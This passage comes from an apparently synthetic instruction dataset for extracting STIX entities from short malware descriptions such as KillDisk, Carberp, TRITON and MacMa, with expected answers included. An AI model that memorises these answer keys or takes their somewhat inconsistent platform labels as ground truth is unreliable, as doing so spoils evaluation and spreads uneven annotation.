(e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKillDisk uses VMProtect to make reverse engineering the malware more difficult.\n",
    "output": "<entities>KillDisk|VMProtect</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nXCSSET saves a screen capture of the victim's system with a numbered filename and .jpg extension. Screen captures are taken at specified intervals based on the system.\n",
    "output": "<entities>XCSSET</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCarberp is a credential and information stealing malware that has been active since at least 2009. Carberp's source code was leaked online in 2013, and subsequently used as the foundation for the Carbanak backdoor.\n",
    "output": "<entities>Carberp|Carbanak</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSharpStage has the ability to create persistence for the malware using the Registry autorun key and startup folder.\n",
    "output": "<entities>SharpStage</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAcidRain is an ELF binary targeting modems and routers using MIPS architecture.\n",
    "output": "<entities>AcidRain</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nXAgentOSX contains the ftpUpload function to use the FTPManager:uploadFile method to upload files from the target system.\n",
    "output": "<entities>XAgentOSX</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nGoopy is a Windows backdoor and Trojan used by APT32 and shares several similarities to another backdoor used by the group (Denis). Goopy is named for its impersonation of the legitimate Google Updater executable.\n",
    "output": "<entities>Goopy|APT32|Windows|Denis|Google Updater|Google</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHiddenWasp uses a rootkit to hook and implement functions on the system.\n",
    "output": "<entities>HiddenWasp</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDonut is an open source framework used to generate position-independent shellcode.\n",
    "output": "<entities>Donut</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nABK is a downloader that has been used by BRONZE BUTLER since at least 2019.\n",
    "output": "<entities>ABK|BRONZE BUTLER</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSpeakUp deletes files to remove evidence on the machine.\n",
    "output": "<entities>SpeakUp</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThis entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS. TRITON is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. TRITON was deployed against at least one target in the Middle East. \n",
    "output": "<entities>TRITON|ICS|Triconex|Middle East|Triconex Safety Instrumented System</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMacMa is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. MacMa has been observed in the wild since November 2021.\n",
    "output": "<entities>MacMa|macOS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nISMInjector is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com.\n",
    "output": "<entities>ISMInjector|red-gate.com|.NET|SmartAssembly</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKARAE can upload and download files, including second-stage malware.\n",
    "output": "<entities>KARAE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLiteDuke has the ability to discover the proxy configuration of Firefox and/or Opera.\n",
    "output": "<entities>LiteDuke|Firefox|Opera</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOut1 can use native command line for execution.\n",
    "output": "<entities>Out1</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAndroidOS/MalLocker.B is a variant of a ransomware family targeting Android devices. It prevents the user from interacting with the UI by displaying a screen containing a ransom note over all other windows.\n",
    "output": "<entities>AndroidOS/MalLocker.B|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
